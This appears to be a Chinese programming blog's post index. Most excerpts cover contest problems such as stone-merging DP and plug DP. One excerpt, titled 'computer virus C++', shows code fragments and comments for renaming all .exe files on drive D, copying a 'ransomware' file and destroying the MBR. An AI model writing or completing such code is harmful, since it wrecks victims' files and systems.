- 博客(7)
- 收藏
- 关注
原创 救命啊啊啊啊
Ran 在第三株植物,Yukari 在第六株植物浇水,此时 Ran 的水壶的水不够,需要**灌满一次**,之后再浇水,还有 $20$ 升水,Yukari 的水壶的水不够,需要**灌满一次**,之后再浇水,还有 $10$ 升水;- Ran 在第四株植物,Yukari 在第五株植物浇水,此时 Ran 的水壶的水不够,需要**灌满一次**,之后再浇水,还有 $25$ 升水,Yukari 的水壶的水不够,需要**灌满一次**,之后再浇水,还有 $15$ 升水;- 中途一共灌水五次,因此输出的答案为 $5$。
2023-07-25 20:41:50
153
原创 信息学奥赛一本通1274:【例9.18】合并石子
现要将石子有次序地合并成一堆。规定每次只能选相邻的2堆石子合并成新的一堆,并将新的一堆石子数记为该次合并的得分。// f[i][j]表示合并第i~j堆石子的最小代价。以下N行,每行一个正整数,小于10000,分别表示第i堆石子的个数(1≤i≤N)。// s数组用于前缀和优化。// 一堆石子不需要合并。计算出将N堆石子合并成一堆的最小得分。1274:【例9.18】合并石子。一个正整数,即最小得分。
2023-05-20 15:47:31
420
1
原创 信息学奥赛一本通 1274:【例9.18】合并石子
在一个操场上一排地摆放着N堆石子。现要将石子有次序地合并成一堆。规定每次只能选相邻的2堆石子合并成新的一堆,并将新的一堆石子数记为该次合并的得分。以下N行,每行一个正整数,小于10000,分别表示第i堆石子的个数(1≤i≤N)。时间限制: 1000 ms 内存限制: 65536 KB。提交数: 14151 通过数: 9276。第一行为一个正整数N (2≤N≤100);计算出将N堆石子合并成一堆的最小得分。1274:【例9.18】合并石子。一个正整数,即最小得分。
2023-05-20 15:43:01
379
1
原创 电脑病毒c++
/这样D盘中所有exe文件就改成了txt文件,够狠吧!//意思就是更改D盘中所有txt文件后缀更改为htm,但是我觉得不够狠,于是我这样改。//http://win7simu.visnalize.com/win7模拟器入口。system("copy d:\\X3fang勒索病毒 d:\\");//打开破坏MBR的文件。
2023-04-22 14:44:19
1898
1
原创 洛谷.P1713 麦当劳叔叔的难题
若插头类型一样,那么为了使 插头(括号)类型匹配,则要修改不匹配 插头(括号),若 upup 和 leftleft 都是 11,则我们要从当前往后扫,将第一个不匹配的 22 修改为 11;首先,由于插头DP是从 (1,1)(1,1) 到 (n,n)(n,n),而题目要求从 (1,n)(1,n) 到 (n,1)(n,1),所以要将地图上下镜像对称一下,以便使用插头DP。接着,因为题目要我们找出一条从起点到终点的路径,所以我们想到在起点建一个插头,若DP到终点时也有且只有一个相同的插头指向终点,则状态为合法。
2023-04-21 22:03:26
361
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人